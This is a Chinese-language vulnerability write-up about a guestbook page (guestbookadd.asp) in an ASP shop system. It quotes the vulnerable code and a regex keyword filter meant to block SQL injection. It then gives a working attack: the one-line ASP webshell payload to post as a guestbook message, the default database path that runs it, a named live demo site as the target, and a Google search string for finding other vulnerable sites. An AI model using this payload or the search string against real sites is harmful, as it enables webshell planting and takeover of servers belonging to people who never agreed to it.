声明:由于此文造成的任何后果,本人概不负责,希望大家抱着研究的态度去看此文
作者:flaw0r
版本:v2.0 Build 090514
漏洞文件:guestbookadd.asp
漏洞等级:严重
问题代码:
复制代码
<!--#INCLUDE FILE="config.asp" -->
<!--#INCLUDE FILE="connectdb.asp" -->
<%
name=request("name")
email=request("email")
tel=request("tel")
content=request("content")
set rs=server.CreateObject("ADODB.RecordSet")
----------------------------省略代码----------------------------
if rs.eof then
'增加
rs.AddNew
rs("ID")=id
rs("name")=name
rs("Email")=email
rs("tel")=tel
rs("content")=content
rs("date1")=now()
end if
rs.Update
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
该套系统用的是雷客图ASP站长安全助手检测系统,包含在config.asp中,代码如下:
复制代码
If Request.Form<>"" Then StopInjection(Request.Form)
If Request.QueryString<>"" Then StopInjection(Request.QueryString)
If Request.Cookies<>"" Then StopInjection(Request.Cookies)
Function StopInjection(values)
For Each N_Get In values
Dim L_Get, L_Get2
For Each L_Get In values
L_Get2 = values(L_Get)
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "(\bselect\b|\sand\s|'|;|\sdeclare\s)"
If regEx.Test(L_Get2) Then
Alert()
response.End()
End If
Set regEx = Nothing
Next
Next
End Function
Sub Alert()
Dim str
str = "<"&"Script. Language=JavaScript"&">"
str = str & "alert('== 雷客图ASP站长安全助手检测到了危险字符,已经禁止本次提交 ==\n');window.close();"
str = str & "<"&"/Script"&">"
response.write str
End Sub
%>
作者以为用了雷客图ASP站长助手就大可放心了,并未对我们的留言内容进行任何有效的过滤(根本就没有!),而后台数据库也没有做进一步
的防下载措施,导致我们插马成功,实属不该!作为一个合格的程序员怎么能允许这样的错误产生呢?
网络实战:
目标:http://www.yinzisoft.com/shop/index.asp(官方演示站)
我们既不需要注入也不需要进后台,一个小小的留言即可拿下这个网站:
我们在留言内容处写入:<%execute request("value")%>
提交后用一句话木马客户端连接即可!
后台数据库地址:/db/YZ_Consume.asp (默认情况)
提示GOOGLE关键字:inurl:typelist.asp?typeid=